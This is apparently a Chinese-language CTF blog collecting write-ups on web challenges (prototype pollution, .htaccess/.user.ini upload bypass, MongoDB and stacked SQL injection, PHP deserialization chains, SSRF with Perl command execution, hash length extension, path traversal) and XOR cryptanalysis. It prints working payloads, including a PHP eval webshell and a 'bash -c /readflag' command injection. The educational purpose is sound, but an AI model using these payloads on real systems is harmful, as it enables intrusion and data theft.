JavaScript中,类以构造函数的方式来进行定义,test函数的内容就是test类的构造函数,test1是test类的一个实例对象,this.a是test类的一个属性。
JavaScript中,每定义一个函数数据类型,都会自带一个prototype属性,这个属性指向函数的原型对象,并且这个属性是一个对象数据类型的值。
1 | function Father() { |
Son类继承了Father类中的last_name,覆盖了Father类中的first_name。son是Son类的一个实例化对象。Son类的原型prototype指向了Father类。
1 | 实例对象 son.__proto__ 相当于 类 Son.prototpye 具有等价关系,都指向了Father类 |
1 | 原型链:son.__proto__->Son.prototype->Father.prototype->Object.prototype->NULL |
当我们使用一个变量时,该类首先会检测自身,如果不存在,则会沿着原型链递归查找,直到指向NULL。
son.__proto__
指向的是Son类的prototype。如果我们修改了son.__proto__
中的值,就可以修改Son类
我们修改了实例化对象son在原型链中的对应的son.__proto__ .__proto__ .__proto__
,实际上是修改了Object这个类,给这个类增加了一个属性test。
当我们用Object类创建了一个test空对象时,该对象就直接含有了一个test属性。
国赛的时候一道原型链污染的题目
核心代码
1 | function getPlayerDamageValue() //计算纯粹伤害 |
我们就可以通过构造req.body进行原型链污染,在实例化对象tempPlayer的原型__proto__
指向的Object类中加入buff属性,__proto__
可以作为查找键值
哪些情况下我们可以设置__proto__
的值呢?能够控制数组(对象)的“键名”的操作:
咕~
]]>htaccess
htaccess
文件(分布式配置文件,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。
设置初始页面
错误重定向&重定向
设置文件访问权限
1 | <Files 1.php> |
开启htaccess
1 | apache 配置文件里httpd.conf文件找到 |
针对一些黑名单的限制,php文件无法上传或者无法被解析,
1 | AppType application/x-httpd-php .jpg |
X-NUCA ezphp
1 | <?php |
文件只能传一个
开始一直500,差点放弃htaccess
,后来发现可能是后面拼接的那个字符串不符合htaccess文件的编写规则,
使用反斜杠换行符将其和注释拼接在一起
最后面加一行
1 | #fuck\ |
同样利用\绕过那些敏感字符,
1 | <FilesMatch “a”> SetHandler application/x-httpd-php </FilesMatch> |
.user.ini
除了主php.ini
之外,PHP
还会在每个目录下扫描INI
文件,从被执行的PHP
文件所在目录开始一直上升到 web 根目录
1 | auto_prepend_file=12.jpg |
SUCTF CheckIn
先上传一个图片文件,留下文件头
加上一句话木马
1 | <script language="php">eval($_GET[h]);</script> |
绕过了<?
的限制
后上传.user.ini
文件
1 | auto_prepend_file=12.jpg |
包含该文件
1 | 之后phpinfo测试可行 |
菜刀连接拿到flag
]]>cybircsctf的一道nopesql,开始没想到是mongodb注入,某天惊奇地发现题目还没关,复现一下,学习一下mongodb注入
参考链接:http://www.vuln.cn/6354
1.用mongo类中相应的方法执行增查减改,传递进入的参数是一个数组:
<?php$mongo = new mongoclient();$db = $mongo->myinfo; //选择数据库$coll = $db->test; //选择集合$coll->save(); //增$coll->find(); //查$coll->remove(); //减$coll->update(); //改
2.用execute方法执行字符串 传递进入的参数是query的值:
#!php<?php$mongo = new mongoclient();$db = $mongo->myinfo; //选择数据库$query = "db.table.save({'newsid':1})"; //增$query = "db.table.find({'newsid':1})"; //查$query = "db.table.remove({'newsid':1})"; //减$query = "db.table.update({'newsid':1},{'newsid',2})"; 改$result = $db->execute($query);
php语句 $db->find(["num"=>['$gt'=>2],"name"=>"test_3"])shell语句 b.tr1ple.find({'num':{"$gt":2},'name':'test_3'})相当于sql语句 select * from tr1ple where num>2 and name="test_3"
mongodb条件操作符
操作符 | 对应 |
---|---|
$lt | < |
$lte | <= |
$ne | != |
$gt | > |
$gte | >= |
#!php<?php$mongo = new mongoclient();$db = $mongo->myinfo; //选择数据库$coll = $db->test; //选择集合$username = $_GET['username'];$password = $_GET['password'];$data = array( 'username'=>$username, 'password'=>$password );$data = $coll->find($data);$count = $data->count();if ($count>0) { foreach ($data as $user) { echo 'username:'.$user['username']."</br>"; echo 'password:'.$user['password']."</br>"; }}else{ echo '未找到';}?>
此时我们传递参数
?username=test&password=test
相当于执行了查询语句
db->test->find({username:’test’,password:’test’});
并且输出查询的内容
而我们要注入的语句是
?username[$ne]=test&password[$ne]=test
相当于执行了
db.test.find({username:{‘$ne’:’test’},password:{‘$ne’:’test’}});
相当于对username!=test,password!=test的查询
此处是字符的比较,比较的是字符的ascii值
对应sql语句:
select * from test where username!=’test’ and password!=’test’;
返回所有username!=test,password!=test的结果
如果读取后并没有回显,我们可以采取$regex操作符来一位一位获取数据。
传递参数为 username[$regex]=^a对应的操作为db.test.find({username:{‘$regex’:’^a’},password:{‘$regex’:’^a’}})
从第一位开始,^a,^a1,^a13 ……
#!php<?php$username = $_GET['username'];$password = $_GET['password'];$query = "var data = db.test.findOne({username:'$username',password:'$password'});return data;";//$query = "return db.test.findOne();";//echo $query;$mongo = new mongoclient();$db = $mongo->myinfo;$data = $db->execute($query);if ($data['ok'] == 1) { if ($data['retval']!=NULL) { echo 'username:'.$data['retval']['username']."</br>"; echo 'password:'.$data['retval']['password']."</br>"; }else{ echo '未找到'; }}else{ echo $data['errmsg'];}?>
和sql中堆叠注入有点像,将前面正常的语句闭合,加,后面的构造的语句依旧可以执行
git源码泄露,大佬wp中学到的姿势,虽然它404了,但是我们可以看到.git后面加了/,虚假的404,可以用githack得到源码。
GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等web安全漏洞。工作原理解析.git/index文件,找到工程中所有的: ( 文件名,文件sha1 )去.git/objects/ 文件夹下下载对应的文件zlib解压文件,按原始的目录结构写入源代码
命令:
python git.py http://173.199.118.226/.git/
得到index.php源码:
<?phprequire_once __DIR__ . "/vendor/autoload.php";function auth($username, $password) { $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->users; $raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}'; $document = $collection->findOne(json_decode($raw_query)); if (isset($document) && isset($document->password)) { return true; } return false;}$user = false;if (isset($_COOKIE['username']) && isset($_COOKIE['password'])) { $user = auth($_COOKIE['username'], $_COOKIE['password']);}if (isset($_POST['username']) && isset($_POST['password'])) { $user = auth($_POST['username'], $_POST['password']); if ($user) { setcookie('username', $_POST['username']); setcookie('password', $_POST['password']); }}?>
我们观察到$raw_query处可以进行字符串的拼接:
构造username:admin password=","password":{"$ne":"a"},"username":"admin或者password=","password":{"$gt":"a"},"username":"admin
将前面语句闭合,并构造了新的查询,用户名为admin,password不为a,就可以返回true从而进行登陆
<?php if ($user == true): ?> Welcome! <div> Group most common news by <a href="?filter=$category">category</a> | <a href="?filter=$public">publicity</a><br> </div> <?php $filter = $_GET['filter']; $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news; $pipeline = [ ['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]], ['$sort' => ['count' => -1]], ['$limit' => 5], ]; $filters = [ ['$project' => ['category' => $filter]] ]; $cursor = $collection->aggregate(array_merge($filters, $pipeline)); ?> <?php if (isset($filter)): ?> <?php foreach ($cursor as $category) { printf("%s has %d news<br>", $category['_id'], $category['count']); } ?> <?php endif; ?><?php else: ?> <?php if (isset($_POST['username']) && isset($_POST['password'])): ?> Invalid username or password <?php endif; ?> <form action='/' method="POST"> <input type="text" name="username"> <input type="password" name="password"> <input type="submit"> </form> <h2>News</h2> <?php $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news; $cursor = $collection->find(['public' => 1]); foreach ($cursor as $news) { printf("%s<br>", $news['title']); } ?><?php endif; ?>
MongoDB中聚合(aggregate)主要用于处理数据(诸如统计平均值,求和等),并返回计算后的数据结果,有点类似sql语句中的count(*)。MongoDB的管道将MongoDB文档在一个管道处理完毕后将结果传递给下一个管道处理。管道操作是可以重复的,以下是几个管道相关操作中的表达式:
$project:修改输入文档的结构。可以用来重命名、增加或删除域,也可以用于创建计算结果以及嵌套文档,可以把它当作指定域,因为默认find()函数将范围集合中所有的域的数据(可以把它当作SQL里面的字段来理解)。
$limit:用来限制MongoDB聚合管道返回的文档数。
$group:将集合中的文档分组,可用于统计结果。
$sort:将输入文档排序后输出。(使用1和-1来指定排序的方式,其中1为升序排列,而-1是用于降序排列)
首先我们来理解一下
1
$pipeline = [ ['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]], ['$sort' => ['count' => -1]],//降序输出 ['$limit' => 5],//限制返回文档数为5 ];'_id' => '$category'前面的情况出现一次,$sum值+1(如果是=>2的话+2),并赋值给count{ $group: { _id:"$分组字段名", 显示字段名: { 聚集函数: "$字段名"},[显示字段名2: { 聚集函数: "$字段名"}, ...] } }
2
$filters = [ ['$project' => ['category' => $filter]] ];对category进行了重命名
3
$cursor = $collection->aggregate(array_merge($filters, $pipeline));array_merge() 函数把一个或多个数组合并为一个数组。
4
foreach ($cursor as $category) { printf("%s has %d news<br>", $category['_id'], $category['count']);}将cursor中所有组遍历赋值给category,打印其中_id和count
我们传递filter参数,并把其值作为分组字段,返回各分组信息,当filter=$category ,我们可以看到他输出的结果是
Welcome! Group most common news by category | publicitypolitics has 9 newsflags has 9 newsfinance has 5 newscomedy has 5 news
测试发现category还可以是$_id,$text,$title,但是limit的限制没法打印text中的flag
需要传递两个参数,而且前后$内容要一致
?filter[$gt][0]=$text&filter[$gt][1]=c
相当于
['$project' => ['category' => [$gt => ["text", "c"]]]]后面的c为text分组内的内容,所以前后参数都要为$gt
payload是
?filter[$gt][0]=$text&filter[$gt][1]=cy
显示
?filter[$gt][0]=$text&filter[$gt][1]=cz
则显示
就可以写脚本得到flag
得到flag后也可以对此进行验证
?filter[$ne][0]=$text&filter[$ne][1]=cybrics{7|-|15 15 4 7E><7 |=|_49}
PHP序列化:php为了方便进行数据的传输,允许把复杂的数据对象,压缩到一个字符串中,使用serialize()函数。
PHP反序列化:将被压缩为字符串的复杂数据结构,重新恢复,使用unserialize()函数。
a - array 数组
b - boolean 布尔值
d - double double类型
i - integer 整数
o - common object 公共对象
r - reference 引用
s - string 字符串
C - custom object 自定义对象
O - class 类
N - null 空
R - pointer reference 指针
U - unicode string Unicode字符串
举例介绍:
O:3:“foo”:2:{s:4:”file”;s:9:”shell.php”;s:4:”data”;s:5:”aaaaa”;}
O:3: 参数类型为对象
“foo”:2: 参数名为foo,有两个值
S:4:”file”;s:9:”shell.php”; s:参数类型为字符串(数字为i),长度为4,值为file。长度为9的字符串shell.php
s:4:”data”;s:5:”aaaaa”;} 长度为4的字符串data,长度为5的字符串aaaaa
<?php$data=['PHP','HTML','Java','Python'];echo serialize($data);
结果:
a:4:{i:0;s:3:"PHP";i:1;s:4:"HTML";i:2;s:4:"Java";i:3;s:6:"Python";}
之前国赛just soso中有一步绕过就利用了指针序列化
if($this->token === $this->token_flag)
本来以为是伪随机数种子,后来发现只需在序列化中让$F->token=&$F->token_flag;
&表示取变量值,将两个变量的值在序列化反序列化过程中关联起来,就可以相等
php之所以会存在反序列化的漏洞原因是一些魔法函数
__construct():当一个类被创建时自动调用 __destruct():当一个类被销毁时自动调用 __invoke():当把一个类当作函数使用时自动调用 __tostring():当把一个类当作字符串使用时自动调用 __wakeup():当调用unserialize()函数时自动调用 __sleep():当调用serialize()函数时自动调用 __call():当要调用的方法不存在或权限不足时自动调用
如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了
同样在之前国赛的just soso中有一个wakeup()的绕过, wakeup()触发于unserilize()调用之前,但是如果被反序列话的字符串其中对应的对象的属性个数发生变化时,会导致反序列化失败而同时使得wakeup函数失效。
我们可以利用这种自动执行某些函数或方法的特性,执行我们相要的操作。
<?phpinclude 'flag.php';class Deep{ public $m1; public $m2; public function __destruct(){ $this->m1->boy(); }}class Dark{ public $m1; public $m2; public function boy(){ $this->m1->next_door(); }}class Fantasy{ public $m1; public $m2; public function __call($next_door,$arr){ $s = $this->m1; $s(); }}class Happy{ public $m1; public $m2; public function __invoke(){ $this->m2="cnss".$this->m1; }}class New_year{ public $s1; public $s2; public function __toString(){ $this->s1->get_flag(); return "1"; }}class GetFlag{ public function get_flag(){ global $flag; echo $flag; }}$a = $_GET['payload'];unserialize($a);show_source(__FILE__);?>
反序列化脚本:
<?phpclass Deep{ public $m1; public $m2; public function __construct(){ $this->m1= new Dark();#可以直接赋值位Fantasy() } public function __destruct(){ $this->m1->boy(); }}class Dark{ public $m1; public $m2; public function __construct(){ $this->m1= new Fantasy(); } public function boy(){ $this->m1->next_door(); }}class Fantasy{ public $m1; public $m2; public function __construct(){#无法调用next_door方法时,就调用__call方法, $this->m1->next_door();所以此处将m1赋值为Happy()类,无法调用next_door,自动调用call方法 $this->m1= new Happy(); } public function __call($next_door,$arr){ $s = $this->m1; $s(); }}class Happy{ public $m1; public $m2; public function __construct(){ $this->m1= new New_year();//由于__toString()方法,所以要将New_year作为字符串来使用 } public function __invoke(){ $this->m2="cnss".$this->m1;//字符串拼接来使用__toString()中的get_flag() }}class New_year{ public $s1; public $s2; public function __construct(){ $this->s1= new GetFlag();//get_flag()在GetFlag类中,所以要先将s1赋值为GetFlag()才能使用get_flag() } public function __toString(){ $this->s1->get_flag(); return "1"; }}class GetFlag{ public function get_flag(){ global $flag; echo $flag; }}$a = new Deep;echo urlencode(serialize($a));
payload:
O%3A4%3A%22Deep%22%3A2%3A%7Bs%3A2%3A%22m1%22%3BO%3A4%3A%22Dark%22%3A2%3A%7Bs%3A2%3A%22m1%22%3BO%3A7%3A%22Fantasy%22%3A2%3A%7Bs%3A2%3A%22m1%22%3BO%3A5%3A%22Happy%22%3A2%3A%7Bs%3A2%3A%22m1%22%3BO%3A8%3A%22New_year%22%3A2%3A%7Bs%3A2%3A%22s1%22%3BO%3A7%3A%22GetFlag%22%3A0%3A%7B%7Ds%3A2%3A%22s2%22%3BN%3B%7Ds%3A2%3A%22m2%22%3BN%3B%7Ds%3A2%3A%22m2%22%3BN%3B%7Ds%3A2%3A%22m2%22%3BN%3B%7Ds%3A2%3A%22m2%22%3BN%3B%7D
]]>De1ctf密码学一道题,当时不会做,orz….,题目
from itertools import *from data import flag,plainkey=flag.strip("de1ctf{").strip("}")assert(len(key)<38)salt="WeAreDe1taTeam"ki=cycle(key)si=cycle(salt)cipher = ''.join([hex(ord(p) ^ ord(next(ki)) ^ ord(next(si)))[2:].zfill(2) for p in plain])print cipheroutput:
49380d773440222d1b421b3060380c3f403c3844791b202651306721135b6229294a3c3222357e766b2f15561b35305e3c3b670e49382c295c6c170553577d3a2b791470406318315d753f03637f2b614a4f2e1c4f21027e227a4122757b446037786a7b0e37635024246d60136f7802543e4d36265c3e035a725c6322700d626b345d1d6464283a016f35714d434124281b607d315f66212d671428026a4f4f79657e34153f3467097e4e135f187a21767f02125b375563517a3742597b6c394e78742c4a725069606576777c314429264f6e330d7530453f22537f5e3034560d22146831456b1b72725f30676d0d5c71617d48753e26667e2f7a334c731c22630a242c7140457a42324629064441036c7e646208630e745531436b7c51743a36674c4f352a5575407b767a5c747176016c0676386e403a2b42356a727a04662b4446375f36265f3f124b724c6e346544706277641025063420016629225b43432428036f29341a2338627c47650b264c477c653a67043e6766152a485c7f33617264780656537e5468143f305f4537722352303c3d4379043d69797e6f3922527b24536e310d653d4c33696c635474637d0326516f745e610d773340306621105a7361654e3e392970687c2e335f3015677d4b3a724a4659767c2f5b7c16055a126820306c14315d6b59224a27311f747f336f4d5974321a22507b22705a226c6d446a37375761423a2b5c29247163046d7e47032244377508300751727126326f117f7a38670c2b23203d4f27046a5c5e1532601126292f577776606f0c6d0126474b2a73737a41316362146e581d7c1228717664091c
题目中
ord(p) ^ ord(next(ki)) ^ ord(next(si))
三个异或之后再转换为16进制,[2:].zfill(2)去掉了头两位0x,并在少于两位时左补0,输出有1200位,也就是一次异或得到两位数字
由此可以得出ord(p) ^ ord(next(ki))的一串值,然后plain是个600位的字符串,key循环和plain中的每一位字符异或,然后就不会了orz….
先是python2按位异或,python中字符串*一个数字n相当于将字符串重复了n遍,(密文的长度/salt长度)+1是salt字符串重复的次数,再 [:len(h)]取与密文相同的位数,然后strxor按位异或,结果base64加密后输出
# coding=<encoding name># vim: set fileencoding=utf-8 :import itertoolsimport base64from Crypto.Util.strxor import strxora='WeAreDe1taTeam'h='49380d773440222d1b421b3060.....'h=h.decode('hex')m=(a*(len(h)/len(a)+1))[:len(h)]o=strxor(h,m).encode('base64')print(o)
一次流密码的解密
汉明距离其实是在二进制层面观测两个等长字符串的比特位差异,也就是1111和1000的汉名距离为3,两个二进制字符串按位异或有多少个1,汉明距离就为多少
那么汉明距离和密文长度又有什么关系呢?
两个以ascii编码的英文字符的汉明距离是2-3之间,也就是说正常英文字母的平均汉明距离为2-3(每比特),任意字符(非纯字母)的两两汉明距离平均为4。当我们使用了正确的密钥长度后,对密文中两两字母进行计算汉明距离,汉明距离的值应该是趋于最小
在使用异或加密的形式下,使用相同密钥加密的明文和密文间存在这两个规律:
1.密文和密文异或等于明文和明文异或。 也就是说将明文和密文按照密钥长度分组后,相对应得两个密文字符和两个明文字符异或是相等的
2.空格和所有小写字母异或结果是相应的大写字母,空格和所有大写字母异或是相应的小写字母。
这样当两个密文按照字节异或后的结果处于字母表的ascii值之间,我们就可以有很大的概率认为异或的明文字符之一是空格
也就是 密文第一位^密文第31位=字母表ascii=明文第1(31)位^空格
按密钥长度将密文进行分组,取其中一个分组,将里面的字符两两异或,如果某一密文字符和其他密文字符异或的结果都处于字母表区间,那么我们将推断其对应位置的明文为空格,密文字节与空格异或就得到了对应位置的密钥密钥
最后附上脚本,造轮子是不可能自己会造的(枯了
本文非原创,原文参考链接:https://www.anquanke.com/post/id/161171
没想明白为什么^无法进行str^str的异或,但是在脚本中就可以qaq
import base64import stringdef bxor(a, b): # 计算汉明距离,两个二进制字符串按位异或有多少个1就有多少个不同的字符 if len(a) > len(b): return bytes([x ^ y for x, y in zip(a[:len(b)], b)]) else: return bytes([x ^ y for x, y in zip(a, b[:len(a)])])def hamming_distance(b1, b2):#计算二进制字符按位异或后1的个数 differing_bits = 0 for byte in bxor(b1, b2): differing_bits += bin(byte).count("1") return differing_bitsdef score(s): freq = {} freq[' '] = 700000000 freq['e'] = 390395169 freq['t'] = 282039486 freq['a'] = 248362256 freq['o'] = 235661502 freq['i'] = 214822972 freq['n'] = 214319386 freq['s'] = 196844692 freq['h'] = 193607737 freq['r'] = 184990759 freq['d'] = 134044565 freq['l'] = 125951672 freq['u'] = 88219598 freq['c'] = 79962026 freq['m'] = 79502870 freq['f'] = 72967175 freq['w'] = 69069021 freq['g'] = 61549736 freq['y'] = 59010696 freq['p'] = 55746578 freq['b'] = 47673928 freq['v'] = 30476191 freq['k'] = 22969448 freq['x'] = 5574077 freq['j'] = 4507165 freq['q'] = 3649838 freq['z'] = 2456495 score = 0 string=bytes.decode(s) for c in string.lower(): if c in freq: score += freq[c] return scoredef break_single_key_xor(b1): max_score = 0 english_plaintext = 0 key = 0 for i in range(0,256): b2 = [i] * len(b1) try: plaintext = bxor(b1, b2) pscore = score(plaintext) except Exception: continue if pscore > max_score or not max_score: max_score = pscore english_plaintext = plaintext key = chr(i) return keytext = '上面脚本中输出的结果'with open(r"c:/Users/lyy18291855970/Desktop/密码学/密码题/the cryptopals crypto challenges/6.txt", "r") as f: for line in f: text += lineb = base64.b64decode(text)normalized_distances = []for KEYSIZE in range(2, 40): #我们取其中前6段计算平局汉明距离 b1 = b[: KEYSIZE] b2 = b[KEYSIZE: KEYSIZE * 2] b3 = b[KEYSIZE * 2: KEYSIZE * 3] b4 = b[KEYSIZE * 3: KEYSIZE * 4] b5 = b[KEYSIZE * 4: KEYSIZE * 5] b6 = b[KEYSIZE * 5: KEYSIZE * 6] b7 = b[KEYSIZE * 6: KEYSIZE * 7] normalized_distance = float( hamming_distance(b1, b2) + hamming_distance(b2, b3) + hamming_distance(b3, b4) + hamming_distance(b4, b5) + hamming_distance(b5, b6) ) / (KEYSIZE * 5) normalized_distances.append( (KEYSIZE, normalized_distance) )normalized_distances = sorted(normalized_distances, key=lambda x: x[1])for KEYSIZE, _ in normalized_distances[:5]: block_bytes = [[] for _ in range(KEYSIZE)] for i, byte in enumerate(b): block_bytes[i % KEYSIZE].append(byte) keys = '' for bbytes in block_bytes: keys += break_single_key_xor(bbytes) key = bytearray(keys * len(b), "utf-8") plaintext = bxor(b, key) print("keysize:", KEYSIZE) print("key is:", keys, "n") s = bytes.decode(plaintext) print(s)
]]>两道SSRF的题目,一次复现,一次做一天才做出来(上午就能出的,我是sb)整理了一下
<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];}$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);@mkdir($sandbox);@chdir($sandbox);$data = shell_exec("GET " . escapeshellarg($_GET["url"]));$info = pathinfo($_GET["filename"]);$dir = str_replace(".", "", basename($info["dirname"]));@mkdir($dir);@chdir($dir);@file_put_contents(basename($info["basename"]), $data);highlight_file(__FILE__);
题目解析
1.首先madir创建sandbox/+md5(orange+你的ip)目录,并用chdir修改当前目录
2.shell_exec函数会执行内部的代码,返回值为执行命令后所获取内容的第一行
3.GET命令执行传入的url参数,GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求
4.escapeshellarg函数将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。
5.pathinfo() 函数以数组的形式返回文件路径的信息。
<?php print_r(pathinfo("/testweb/test.txt"));?>输出:Array([dirname] => /testweb [basename] => test.txt [extension] => txt)
5.传入filename的最后一级文件夹并将shell_exec函数返回的数据写入文件,可以通过sandbox/+md5(orange+你的ip)/文件名访问
访问根目录
?url=/&filename=a
ip查询,REMOTE_ADDR获取的访问的本机ip
之后可以在sandbox/…../a看到目录,有flag,但是无法访问
然后在大佬wp中发现
perl在open当中可以执行命令,如:open(FD, "ls|")或open(FD, "|ls")都可以执行ls命令 而GET是在perl下执行的,当GET使用file协议的时候就会调用到perl的open函数
也就是GET中使用file协议可以执行命令,但是需要bash -c
Linux所提供的管道符“|”将两个命令隔开,管道符左边命令的输出就会作为管道符右边命令的输入
构造url:
?url=file:bash -c /readflag|&filename=a bash -c 执行了命令访问sandbox/...../a拿到flag
题目源码
/#! /usr/bin/env python/#encoding=utf-8from flask import Flaskfrom flask import requestimport socketimport hashlibimport urllibimport sysimport osimport jsonreload(sys)sys.setdefaultencoding('latin1')app = Flask(__name__)secert_key = os.urandom(16)class Task:def __init__(self, action, param, sign, ip): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr os.mkdir(self.sandbox)def Exec(self): result = {} result['code'] = 500 if (self.checkSign()): if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w') resp = scan(self.param) if (resp == "Connection Timeout"): result['data'] = resp else: print resp tmpfile.write(resp) tmpfile.close() result['code'] = 200 if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r') result['code'] = 200 result['data'] = f.read() if result['code'] == 500: result['data'] = "Action Error" else: result['code'] = 500 result['msg'] = "Sign Error" return resultdef checkSign(self): if (getSign(self.action, self.param) == self.sign): return True else: return False/#generate Sign For Action Scan.@app.route("/geneSign", methods=['GET', 'POST'])def geneSign():param = urllib.unquote(request.args.get("param", ""))action = "scan"return getSign(action, param)@app.route('/De1ta',methods=['GET','POST'])def challenge():action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))ip = request.remote_addrif(waf(param)): return "No Hacker!!!!"task = Task(action, param, sign, ip)return json.dumps(task.Exec())@app.route('/')def index():return open("code.txt","r").read()def scan(param):socket.setdefaulttimeout(1)try: return urllib.urlopen(param).read()[:50]except: return "Connection Timeout"def getSign(action, param):return hashlib.md5(secert_key + param + action).hexdigest()def md5(content):return hashlib.md5(content).hexdigest()def waf(param):check=param.strip().lower()if check.startswith("gopher") or check.startswith("file"): return Trueelse: return Falseif __name__ == '__main__':app.debug = Falseapp.run(host='0.0.0.0',port=80)
题目分析:
def __init__(self, action, param, sign, ip)初始化self类,后面的都是self类的参数
@app.route(‘/‘)改变url路径
waf函数中strip函数删除了param参数前后缀的字符,lower函数将大写变成小写,并检测参数前缀是不是file和gopher,
首先是前几天补的hash长度拓展攻击,geneSign函数那那可以得到action=scan时候的md5(key+param+action),hashpump在action参数后面补位加了个read,生成新的md5和action参数,才可以打印出data的内容
/De1ta?param=http://139.180.128.86 Cookie:action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00H%01%00%00%00%00%00%00read;sign=81670763d66ae6d466304b9106550817
可以通过scan函数中urllib.urlopen(param).read()[:50]得到一部分网页内容
{"code": 200, "data": "#! /usr/bin/env python\r\n#encoding=utf-8\r\nfrom flas"}
file和gopher协议都被过滤了,然后就卡住了,
本来觉得可能是python urllib库的一个cve,后来发现好像不行
http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo这样可以注入HTTP头
然后突然发现urlopen可以直接读取文件,结合hint:flag.txt直接让param为flag.txt就能拿到flag(太草了,那你弄什么waf函数
De1ta?param=flag.txtCookie:action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read;sign=d7163f39ab78a698b3514fd465e4018a
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)也就是说通过普通用户可以访问的网站,来攻击内部网络系统。
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能(服务器会响应用户的url请求)且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以他的身份来访问其他服务器的资源。
]]>好多之前比赛没做也没来得及补的题,良心平台QAQ
source.php里源码
<?phphighlight_file(__FILE__);class emmm{ public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; }}if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file'])) { include $_REQUEST['file']; exit;} else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";} ?>
可以看到我们需要get传递file参数;
checkFile函数检查了传递参数;
mb_strpos函数检测第一次出现? 的位置;
mb_substr函数返回了file参数0和第一个问号之间的值,
in_array函数检测在$whitelist是否含$_page的值也就是source.php和hint.php
之后存在include函数,所以我们构造payload:
?file=hint.php?/../../../../../../../../ffffllllaaaagggg
hint.php?/被当成了目录
拿到flag
测试1’or 1=1#可行,存在sql注入
1’order by 2#可行,到3报错,查询列数为2
然后测试 1’union select 1,2#
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
select被过滤了,show没有被过滤,构造闭合语句进行
查询
在mysql中前语句闭合分号结束后后面的语句也会被执行
查询:
1';show databases;
1';show tables;
1';show columns from 1919810931114514;
(不知道为啥查不出来
破案了,字符串作为表名需要加反引号
1';show columns from `1919810931114514`;
‘
但到此处就无法查询字段的内容了
sql serve中给变量幅值可以用
set @变量名='字符串';
prepare语句用于预备一个语句,并指定语句名称,以后可用名称引用该语句。语句名称对大小写不敏感。from后可以是一个文字字符串,也可以是一个包含了语句文本的用户变量。该文本必须表现为一个单一的SQL语句,而不是多个语句。
语法
prepare 语句定义名称 from 变量名称;
execute语句用于执行命令
语法
execute 变量名称;
payload:
1';Set @a=concat('s','elect * from `1919810931114514`');prepare s from @a;execute s;
strstr对set进行了一步过滤,不过没什么影响,大小写就能绕过(这么看这种解法应该是预期解。
正则中没有过滤alert和rename关键字
alter和rename命令
alter table 原表名 rename to 新表名;
alter table 表名 change 要修改的字段名 新字段名 新字段的数据类型;
查询的是words表,有两列id和data;
我们猜测他的查询语句为select * from words where id=
1.将words表改名为其它名字
2.1919810931114514改名为words
3.将flag改名为id;
然后直接查询1就可以找到flag;
题目环境好像出现了一些问题,没有复现成功QAQ
suctf sql也是堆叠注入;绕了半天没绕过去,后来发现是git源码泄露,select *一行就查出来了QAQ
开始以为是hash长度拓展攻击,但是没有secret长度,file参数传递也要是/fllllllllllllag,试了半天没试出来QAQ,看了writeup,error那存在ssti,(自闭了 貌似是render提示了是ssti
http://web9.buuoj.cn/error?msg={{globals}}
加号被过滤了2不行,其他测试都是orz
http://web9.buuoj.cn/error?msg={{handler.settings}}
handler.settings内有cookie_secret(又自闭了,为什么QAQ
tornado框架里handler.settings保存一些配置选项
settings,使用tornado.web.Application(handler, **settings)我们却不知道这个settings到底是什么,究竟有什么作用,今天就来介绍一下settings是一个字典,主要保存一些配置选项
拿到cookie_secret就拿到flag了
当vim不正常退出时,比如你编辑的文件config.php,由于vim的不正常退出,此时会在同目录下生成:config.php.swp,由于此类格式文件无法解析,此时便可以通过浏览器直接下载此敏感文件!
下面以相关操作逻辑顺序设计的不合理为例,具体讨论一下这类问题的成因。在很多系统中都会包含上传文件或者从远端获取文件保存在服务器的功能(如:允许用户使用网络上的图片作为自己的头像的功能),下面是一段简单的上传文件释义代码:
